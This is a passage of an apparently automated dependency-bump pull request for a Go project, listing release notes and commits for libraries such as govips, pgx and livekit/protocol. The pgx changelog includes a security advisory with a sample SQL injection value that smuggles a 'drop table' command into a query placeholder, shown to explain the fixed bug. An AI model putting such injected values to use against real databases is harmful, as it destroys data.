1.0.4 to 1.0.5 in /internal/conformance ...\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/connectrpc/connect-go/compare/v1.19.1...v1.19.2\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `firebase.google.com/go/v4` from 4.18.0 to 4.19.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/firebase/firebase-admin-go/releases\"\u003efirebase.google.com/go/v4's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003eFirebase Admin Go SDK v4.19.0\u003c/h2\u003e\n\u003ch3\u003eNew Features\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003efeat(auth): Add \u003ccode\u003eQueryUsers\u003c/code\u003e API (\u003ca href=\"https://redirect.github.com/firebase/firebase-admin-go/issues/727\"\u003e#727\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efeat(firestore): Added Firestore Multi Database Support (\u003ca href=\"https://redirect.github.com/firebase/firebase-admin-go/issues/733\"\u003e#733\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eBug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003efix(auth): Fixed auth error code parsing (\u003ca href=\"https://redirect.github.com/firebase/firebase-admin-go/issues/712\"\u003e#712\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eMiscellaneous\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e[chore] Release 4.19.0 Take 2 (\u003ca href=\"https://redirect.github.com/firebase/firebase-admin-go/issues/746\"\u003e#746\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore: Update Release Workflows for Push triggers (\u003ca href=\"https://redirect.github.com/firebase/firebase-admin-go/issues/745\"\u003e#745\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eRevert \u0026quot;[chore] Release 4.19.0 (\u003ca href=\"https://redirect.github.com/firebase/firebase-admin-go/issues/742\"\u003e#742\u003c/a\u003e)\u0026quot; (\u003ca href=\"https://redirect.github.com/firebase/firebase-admin-go/issues/744\"\u003e#744\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e[chore] Release 4.19.0 (\u003ca href=\"https://redirect.github.com/firebase/firebase-admin-go/issues/742\"\u003e#742\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eUpdate the release actions process (\u003ca href=\"https://redirect.github.com/firebase/firebase-admin-go/issues/741\"\u003e#741\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore: Update github actions workflows and integration test resources (\u003ca href=\"https://redirect.github.com/firebase/firebase-admin-go/issues/740\"\u003e#740\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore: update copyright headers from Google Inc. to Google LLC (\u003ca href=\"https://redirect.github.com/firebase/firebase-admin-go/issues/713\"\u003e#713\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore: Added and \u003ccode\u003eAGENTS.md\u003c/code\u003e file to instruct AI agents how to interact with this repository (\u003ca href=\"https://redirect.github.com/firebase/firebase-admin-go/issues/710\"\u003e#710\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/firebase/firebase-admin-go/commit/4f7026f0837678ceb33ab2d2c145a0d18d9952fd\"\u003e\u003ccode\u003e4f7026f\u003c/code\u003e\u003c/a\u003e [chore] Release v4.19.0 (\u003ca href=\"https://redirect.github.com/firebase/firebase-admin-go/issues/747\"\u003e#747\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/firebase/firebase-admin-go/compare/v4.18.0...v4.19.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `github.com/alicebob/miniredis/v2` from 2.36.1 to 2.37.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/alicebob/miniredis/releases\"\u003egithub.com/alicebob/miniredis/v2's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003eHEXPIRE\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003esupport HEXPIRE (thanks \u003ca href=\"https://github.com/mojixcoder\"\u003e\u003ccode\u003e@​mojixcoder\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/alicebob/miniredis/blob/master/CHANGELOG.md\"\u003egithub.com/alicebob/miniredis/v2's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev2.37.0\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003esuport HEXPIRE (thanks \u003ca href=\"https://github.com/mojixcoder\"\u003e\u003ccode\u003e@​mojixcoder\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/alicebob/miniredis/commit/c1b59bfe154a01657c4b79734237fe5eba81f11b\"\u003e\u003ccode\u003ec1b59bf\u003c/code\u003e\u003c/a\u003e feat: implement HEXPIRE command (\u003ca href=\"https://redirect.github.com/alicebob/miniredis/issues/424\"\u003e#424\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/alicebob/miniredis/compare/v2.36.1...v2.37.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `github.com/davidbyttow/govips/v2` from 2.16.0 to 2.18.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/davidbyttow/govips/releases\"\u003egithub.com/davidbyttow/govips/v2's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev2.18.0\u003c/h2\u003e\n\u003ch2\u003eHighlights\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eLeak detector\u003c/strong\u003e: new \u003ccode\u003eOpenImageRefs()\u003c/code\u003e and \u003ccode\u003eAssertNoLeaks(t)\u003c/code\u003e API for tracking unclosed \u003ccode\u003eImageRef\u003c/code\u003e instances (\u003ca href=\"https://redirect.github.com/davidbyttow/govips/issues/525\"\u003e#525\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eSplit \u003ccode\u003eImageRef\u003c/code\u003e\u003c/strong\u003e: decomposed the 2607-line god object into 8 focused files by concern — zero API changes, same public surface (\u003ca href=\"https://redirect.github.com/davidbyttow/govips/issues/525\"\u003e#525\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eWebP shrink-on-load\u003c/strong\u003e support via scale parameter (\u003ca href=\"https://redirect.github.com/davidbyttow/govips/issues/516\"\u003e#516\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eAnimated AVIF (avis) detection\u003c/strong\u003e support (\u003ca href=\"https://redirect.github.com/davidbyttow/govips/issues/513\"\u003e#513\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eFix memory leaks\u003c/strong\u003e in \u003ccode\u003evipsGetPoint\u003c/code\u003e and \u003ccode\u003evipsImageGetAsString\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/davidbyttow/govips/issues/510\"\u003e#510\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eFix segfault\u003c/strong\u003e during animated WebP export in test suite\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eReplace panics with errors\u003c/strong\u003e in \u003ccode\u003estartupIfNeeded\u003c/code\u003e and test helpers (\u003ca href=\"https://redirect.github.com/davidbyttow/govips/issues/522\"\u003e#522\u003c/a\u003e, \u003ca href=\"https://redirect.github.com/davidbyttow/govips/issues/523\"\u003e#523\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eUpdate minimum libvips\u003c/strong\u003e from 8.10 to 8.14 (\u003ca href=\"https://redirect.github.com/davidbyttow/govips/issues/518\"\u003e#518\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFix C code bugs in \u003ccode\u003eset_image_delay\u003c/code\u003e and \u003ccode\u003elabel\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/davidbyttow/govips/issues/512\"\u003e#512\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eRemove incorrect defers that would free internal vips pointers (\u003ca href=\"https://redirect.github.com/davidbyttow/govips/issues/511\"\u003e#511\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eUpdate dependencies to fix known vulnerabilities\u003c/li\u003e\n\u003cli\u003eSimplify CI workflow, align Go version with go.mod (\u003ca href=\"https://redirect.github.com/davidbyttow/govips/issues/519\"\u003e#519\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eBreaking\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eRemoved \u003ccode\u003evips/pipeline\u003c/code\u003e package — it was a thin wrapper over \u003ccode\u003eImageRef\u003c/code\u003e methods covering ~40 of 139 methods, creating a dual-surface problem. Use \u003ccode\u003eImageRef\u003c/code\u003e methods directly.\u003c/li\u003e\n\u003cli\u003eMinimum libvips version bumped from 8.10 to 8.14\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003ev2.17.0\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003ch3\u003eNew Features\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eAdd built-in vipsgen code generator for auto-generating C bridge wrappers\u003c/li\u003e\n\u003cli\u003eAdd \u003ccode\u003eNewTransparentCanvas\u003c/code\u003e helper for creating transparent RGBA images\u003c/li\u003e\n\u003cli\u003eAdd \u003ccode\u003eGrey()\u003c/code\u003e constructor for creating gradient images\u003c/li\u003e\n\u003cli\u003eAdd fast Go \u003ccode\u003eimage.Image\u003c/code\u003e interop: \u003ccode\u003eToGoImage\u003c/code\u003e and \u003ccode\u003eNewImageFromGoImage\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003eAdd \u003ccode\u003eLoop\u003c/code\u003e API and preserve loop/delay metadata in \u003ccode\u003eRemoveMetadata\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003eAdd gravity function\u003c/li\u003e\n\u003cli\u003eAdd PSD support\u003c/li\u003e\n\u003cli\u003eAdd Magick Save, support ICO load\u003c/li\u003e\n\u003cli\u003eAdd access options while loading image\u003c/li\u003e\n\u003cli\u003eAdd additional image operation functions\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eBug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eFix memory leak, panics, and race condition\u003c/li\u003e\n\u003cli\u003eFix memory leak when using multi pages\u003c/li\u003e\n\u003cli\u003eFix animated resize producing toilet-roll images\u003c/li\u003e\n\u003cli\u003eFix CMYK ICC profile ignored when embedded profile exists\u003c/li\u003e\n\u003cli\u003eFix TIFF tile dimensions zero-value crash\u003c/li\u003e\n\u003cli\u003eFix JXL type detection for ISOBMFF containers with varying box sizes\u003c/li\u003e\n\u003cli\u003eAdd \u003ccode\u003eruntime.KeepAlive\u003c/code\u003e to prevent GC finalization during CGo calls\u003c/li\u003e\n\u003cli\u003eStop implicitly converting BMP files to PNG\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eInternal Improvements\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eConsolidate generated C bridge files into \u003ccode\u003egenerated.{c,h,go}\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003eConsolidate hand-written C bridge files into \u003ccode\u003eoperations.{c,h,go}\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003eReduce hand-written C bridge code by using generated wrappers\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/davidbyttow/govips/commit/1c56c968207c748f90627c998f93be6cbbe2bbca\"\u003e\u003ccode\u003e1c56c96\u003c/code\u003e\u003c/a\u003e Add leak detector, remove pipeline, split ImageRef god object (\u003ca href=\"https://redirect.github.com/davidbyttow/govips/issues/525\"\u003e#525\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/davidbyttow/govips/commit/ed2402c9854112076bff4f583c9537542e46be61\"\u003e\u003ccode\u003eed2402c\u003c/code\u003e\u003c/a\u003e update claude.md and remove unnecessary files\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/davidbyttow/govips/commit/b8b8568af3fb38493e28952288b398d8d4f9c025\"\u003e\u003ccode\u003eb8b8568\u003c/code\u003e\u003c/a\u003e Add composable pipeline API for image transforms (\u003ca href=\"https://redirect.github.com/davidbyttow/govips/issues/524\"\u003e#524\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/davidbyttow/govips/commit/e1b3461e4a1b6d20c0788885d8ee1bd7b59e163b\"\u003e\u003ccode\u003ee1b3461\u003c/code\u003e\u003c/a\u003e Update dependencies to fix known vulnerabilities\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/davidbyttow/govips/commit/74b216dc420d24d369d21c2fe3dc90baac891d57\"\u003e\u003ccode\u003e74b216d\u003c/code\u003e\u003c/a\u003e Fix segfault during animated WebP export in test suite\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/davidbyttow/govips/commit/4f36436b36628de0479fba2627f981dd98a637d2\"\u003e\u003ccode\u003e4f36436\u003c/code\u003e\u003c/a\u003e Simplify CI workflow: drop Coveralls, clean up steps\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/davidbyttow/govips/commit/e09c89dce24e9b4c731e67c6e75c5a819cf5dd1b\"\u003e\u003ccode\u003ee09c89d\u003c/code\u003e\u003c/a\u003e Remove stale build/ directory with outdated Dockerfiles\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/davidbyttow/govips/commit/1d528fba548f06fa4a1f0df89d045e4ca6c2887d\"\u003e\u003ccode\u003e1d528fb\u003c/code\u003e\u003c/a\u003e Replace deprecated Export() call in ToImage() with ExportNative()\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/davidbyttow/govips/commit/3fad8cc6f81dd62e63833cca59b51fcdeaec4ec8\"\u003e\u003ccode\u003e3fad8cc\u003c/code\u003e\u003c/a\u003e add usage examples\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/davidbyttow/govips/commit/6cf8e10a85829278ad1b0f35e73825bf2b570ff5\"\u003e\u003ccode\u003e6cf8e10\u003c/code\u003e\u003c/a\u003e Return error from startupIfNeeded instead of panicking (\u003ca href=\"https://redirect.github.com/davidbyttow/govips/issues/523\"\u003e#523\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/davidbyttow/govips/compare/v2.16.0...v2.18.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `github.com/jackc/pgx/v5` from 5.7.2 to 5.9.2\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/jackc/pgx/blob/master/CHANGELOG.md\"\u003egithub.com/jackc/pgx/v5's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch1\u003e5.9.2 (April 18, 2026)\u003c/h1\u003e\n\u003cp\u003eFix SQL Injection via placeholder confusion with dollar quoted string literals (GHSA-j88v-2chj-qfwx)\u003c/p\u003e\n\u003cp\u003eSQL injection can occur when:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003eThe non-default simple protocol is used.\u003c/li\u003e\n\u003cli\u003eA dollar quoted string literal is used in the SQL query.\u003c/li\u003e\n\u003cli\u003eThat query contains text that would be would be interpreted outside as a placeholder outside of a string literal.\u003c/li\u003e\n\u003cli\u003eThe value of that placeholder is controllable by the attacker.\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003ee.g.\u003c/p\u003e\n\u003cpre lang=\"go\"\u003e\u003ccode\u003eattackValue := `$tag$; drop table canary; --`\n_, err = tx.Exec(ctx, `select $tag$ $1 $tag$, $1`, pgx.QueryExecModeSimpleProtocol, attackValue)\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eThis is unlikely to occur outside of a contrived scenario.\u003c/p\u003e\n\u003ch1\u003e5.9.1 (March 22, 2026)\u003c/h1\u003e\n\u003cul\u003e\n\u003cli\u003eFix: batch result format corruption when using cached prepared statements (reported by Dirkjan Bussink)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch1\u003e5.9.0 (March 21, 2026)\u003c/h1\u003e\n\u003cp\u003eThis release includes a number of new features such as SCRAM-SHA-256-PLUS support, OAuth authentication support, and\nPostgreSQL protocol 3.2 support.\u003c/p\u003e\n\u003cp\u003eIt significantly reduces the amount of network traffic when using prepared statements (which are used automatically by\ndefault) by avoiding unnecessary Describe Portal messages. This also reduces local memory usage.\u003c/p\u003e\n\u003cp\u003eIt also includes multiple fixes for potential DoS due to panic or OOM if connected to a malicious server that sends\ndeliberately malformed messages.\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eRequire Go 1.25+\u003c/li\u003e\n\u003cli\u003eAdd SCRAM-SHA-256-PLUS support (Adam Brightwell)\u003c/li\u003e\n\u003cli\u003eAdd OAuth authentication support for PostgreSQL 18 (David Schneider)\u003c/li\u003e\n\u003cli\u003eAdd PostgreSQL protocol 3.2 support (Dirkjan Bussink)\u003c/li\u003e\n\u003cli\u003eAdd tsvector type support (Adam Brightwell)\u003c/li\u003e\n\u003cli\u003eSkip Describe Portal for cached prepared statements reducing network round trips\u003c/li\u003e\n\u003cli\u003eMake LoadTypes query easier to support on \u0026quot;postgres-like\u0026quot; servers (Jelte Fennema-Nio)\u003c/li\u003e\n\u003cli\u003eDefault empty user to current OS user matching libpq behavior (ShivangSrivastava)\u003c/li\u003e\n\u003cli\u003eOptimize LRU statement cache with custom linked list and node pooling (Mathias Bogaert)\u003c/li\u003e\n\u003cli\u003eOptimize date scanning by replacing regex with manual parsing (Mathias Bogaert)\u003c/li\u003e\n\u003cli\u003eOptimize pgio append/set functions with direct byte shifts (Mathias Bogaert)\u003c/li\u003e\n\u003cli\u003eMake RowsAffected faster (Abhishek Chanda)\u003c/li\u003e\n\u003cli\u003eFix: Pipeline.Close panic when server sends multiple FATAL errors (Varun Chawla)\u003c/li\u003e\n\u003cli\u003eFix: ContextWatcher goroutine leak (Hank Donnay)\u003c/li\u003e\n\u003cli\u003eFix: stdlib discard connections with open transactions in ResetSession (Jeremy Schneider)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jackc/pgx/commit/0aeabbcf11d859229c1f0b20e710d3596c76bf27\"\u003e\u003ccode\u003e0aeabbc\u003c/code\u003e\u003c/a\u003e Release v5.9.2\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jackc/pgx/commit/60644f84918a8af66d14a4b0d865d4edafd955da\"\u003e\u003ccode\u003e60644f8\u003c/code\u003e\u003c/a\u003e Fix SQL sanitizer bugs with dollar-quoted strings and placeholder overflow\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jackc/pgx/commit/a5680bc945aa7c6ebac2778d859ee7b4ba86db60\"\u003e\u003ccode\u003ea5680bc\u003c/code\u003e\u003c/a\u003e Merge pull request \u003ca href=\"https://redirect.github.com/jackc/pgx/issues/2531\"\u003e#2531\u003c/a\u003e from dolmen-go/godoc-add-links\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jackc/pgx/commit/e34e4524007062710c6a4fb9c8655b75a486b5cd\"\u003e\u003ccode\u003ee34e452\u003c/code\u003e\u003c/a\u003e doc: Add godoc links\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jackc/pgx/commit/08c9bb1f0d8fa6cc10ed8c713e68b1baa64dfe2c\"\u003e\u003ccode\u003e08c9bb1\u003c/code\u003e\u003c/a\u003e Fix Stringer types encoded as text instead of numeric value in composite fields\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jackc/pgx/commit/96b4dbdfd0458cb425bf8454d292a23978872cc8\"\u003e\u003ccode\u003e96b4dbd\u003c/code\u003e\u003c/a\u003e Remove unstable test\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jackc/pgx/commit/acf88e0065682e8948696d26fa6438669c4cabee\"\u003e\u003ccode\u003eacf88e0\u003c/code\u003e\u003c/a\u003e Merge pull request \u003ca href=\"https://redirect.github.com/jackc/pgx/issues/2526\"\u003e#2526\u003c/a\u003e from abrightwell/abrightwell-min-proto\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jackc/pgx/commit/2f81f1fc03bef99593e92c64ad9cac954c00e8e6\"\u003e\u003ccode\u003e2f81f1f\u003c/code\u003e\u003c/a\u003e Update \u003ccode\u003emax_protocol_version\u003c/code\u003e and \u003ccode\u003emin_protocol_version\u003c/code\u003e defaults\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jackc/pgx/commit/4e4eaedb47b7b3cfba0a1b0a9e6a3f015764f046\"\u003e\u003ccode\u003e4e4eaed\u003c/code\u003e\u003c/a\u003e Release v5.9.1\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jackc/pgx/commit/62731882651a90348febb43b2119b5f8bd9272de\"\u003e\u003ccode\u003e6273188\u003c/code\u003e\u003c/a\u003e Fix batch result format corruption when using cached prepared statements\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/jackc/pgx/compare/v5.7.2...v5.9.2\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `github.com/livekit/protocol` from 1.44.1-0.20260120134243-0914cc74653e to 1.45.6\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/livekit/protocol/releases\"\u003egithub.com/livekit/protocol's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e\u003ccode\u003e@​livekit/protocol\u003c/code\u003e\u003ca href=\"https://github.com/1\"\u003e\u003ccode\u003e@​1\u003c/code\u003e\u003c/a\u003e.45.6\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eAGT-2669: Add turn detection and interruption protobufs by \u003ca href=\"https://github.com/chenghao-mou\"\u003e\u003ccode\u003e@​chenghao-mou\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/livekit/protocol/pull/1485\"\u003elivekit/protocol#1485\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eTEL-543: same trunk can match duplicate normalized SIP numbers by \u003ca href=\"https://github.com/hechen-eng\"\u003e\u003ccode\u003e@​hechen-eng\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/livekit/protocol/pull/1514\"\u003elivekit/protocol#1514\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix change set for eot changes by \u003ca href=\"https://github.com/chenghao-mou\"\u003e\u003ccode\u003e@​chenghao-mou\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/livekit/protocol/pull/1515\"\u003elivekit/protocol#1515\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eVersion Packages by \u003ca href=\"https://github.com/github-actions\"\u003e\u003ccode\u003e@​github-actions\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/livekit/protocol/pull/1517\"\u003elivekit/protocol#1517\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eNew Contributors\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/chenghao-mou\"\u003e\u003ccode\u003e@​chenghao-mou\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/livekit/protocol/pull/1485\"\u003elivekit/protocol#1485\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/livekit/protocol/compare/v1.45.5...@livekit/protocol@1.45.6\"\u003ehttps://github.com/livekit/protocol/compare/v1.45.5...@​livekit/protocol@1.45.6\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003e\u003ccode\u003e@​livekit/protocol\u003c/code\u003e\u003ca href=\"https://github.com/1\"\u003e\u003ccode\u003e@​1\u003c/code\u003e\u003c/a\u003e.45.5\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eexport alphabets used in guids - \u003ca href=\"https://redirect.github.com/livekit/protocol/pull/1508\"\u003e#1508\u003c/a\u003e (\u003ca href=\"https://github.com/paulwe\"\u003e\u003ccode\u003e@​paulwe\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e\u003ccode\u003e@​livekit/protocol\u003c/code\u003e\u003ca href=\"https://github.com/1\"\u003e\u003ccode\u003e@​1\u003c/code\u003e\u003c/a\u003e.45.4\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003eCreate room tags - \u003ca href=\"https://redirect.github.com/livekit/protocol/pull/1504\"\u003e#1504\u003c/a\u003e (\u003ca href=\"https://github.com/paulwe\"\u003e\u003ccode\u003e@​paulwe\u003c/code\u003e\u003c/a\u003e)\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eExport analytics proto - \u003ca href=\"https://redirect.github.com/livekit/protocol/pull/1501\"\u003e#1501\u003c/a\u003e (\u003ca href=\"https://github.com/lukasIO\"\u003e\u003ccode\u003e@​lukasIO\u003c/code\u003e\u003c/a\u003e)\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eadd TimedString proto for word-level alignment metadata in agent - \u003ca href=\"https://redirect.github.com/livekit/protocol/pull/1502\"\u003e#1502\u003c/a\u003e (\u003ca href=\"https://github.com/longcw\"\u003e\u003ccode\u003e@​longcw\u003c/code\u003e\u003c/a\u003e)\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003emove proto options to use lk reserved range - \u003ca href=\"https://redirect.github.com/livekit/protocol/pull/1495\"\u003e#1495\u003c/a\u003e (\u003ca href=\"https://github.com/paulwe\"\u003e\u003ccode\u003e@​paulwe\u003c/code\u003e\u003c/a\u003e)\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e\u003ccode\u003e@​livekit/protocol\u003c/code\u003e\u003ca href=\"https://github.com/1\"\u003e\u003ccode\u003e@​1\u003c/code\u003e\u003c/a\u003e.45.3\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003eAdd SUSPENDED node state. - \u003ca href=\"https://redirect.github.com/livekit/protocol/pull/1486\"\u003e#1486\u003c/a\u003e (\u003ca href=\"https://github.com/boks1971\"\u003e\u003ccode\u003e@​boks1971\u003c/code\u003e\u003c/a\u003e)\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eAdd get_framework_info request/response support in agent session protocol and regenerate JavaScript protobuf types. - \u003ca href=\"https://redirect.github.com/livekit/protocol/pull/1493\"\u003e#1493\u003c/a\u003e (\u003ca href=\"https://github.com/toubatbrian\"\u003e\u003ccode\u003e@​toubatbrian\u003c/code\u003e\u003c/a\u003e)\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e\u003ccode\u003e@​livekit/protocol\u003c/code\u003e\u003ca 